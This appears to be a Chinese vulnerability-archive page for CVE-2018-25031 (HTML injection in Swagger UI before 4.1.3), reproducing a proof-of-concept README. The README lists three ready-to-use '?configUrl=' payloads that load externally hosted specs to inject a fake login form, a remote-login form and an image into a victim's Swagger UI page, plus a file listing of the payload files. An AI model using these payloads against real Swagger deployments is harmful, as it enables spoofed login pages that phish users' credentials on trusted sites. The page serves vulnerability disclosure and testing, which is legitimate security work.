关联漏洞
标题:
Swagger UI 输入验证错误漏洞
(CVE-2018-25031)
描述:Swagger UI是一款支持可视化API资源并能够与之进行交互的开源工具。 Swagger-api Swagger UI 4.1.3之前版本中存在安全漏洞,该漏洞源于软件缺少对于用户提交的URL数据过滤和转义。攻击者可以通过特制的URL数据利用该漏洞进行欺骗攻击并显示远程OpenAPI定义。
描述
POC for Testing HTML Injection in Swagger UI (CVE-2018-25031).
介绍
# swagger-ui
POC for Testing HTML Injection in Swagger UI (CVE-2018-25031).
## Payloads
### 1 - Login
`?configUrl=https://raw.githubusercontent.com/rh007pt/swagger-ui/refs/heads/main/login.json`
### 2 - Remote Login
`?configUrl=https://raw.githubusercontent.com/rh007pt/swagger-ui/refs/heads/main/remote-login.json`
### 2 - Image
`?configUrl=https://raw.githubusercontent.com/rh007pt/swagger-ui/refs/heads/main/img.json`
---
📌 **Disclaimer**: The content in this repository is provided for educational and informational purposes only. The author is not responsible for any misuse. Ensure you have proper authorization before use, act responsibly at your own risk, and follow all legal and ethical guidelines.
文件快照
[4.0K] /data/pocs/2becc41d57d719f6b384ede833e8af05d8793707
├── [ 270] img.json
├── [1021] img.yaml
├── [1.0K] LICENSE
├── [ 274] login.json
├── [2.8K] login.yaml
├── [ 718] README.md
├── [ 288] remote-login.json
└── [ 857] remote-login.yaml
0 directories, 8 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。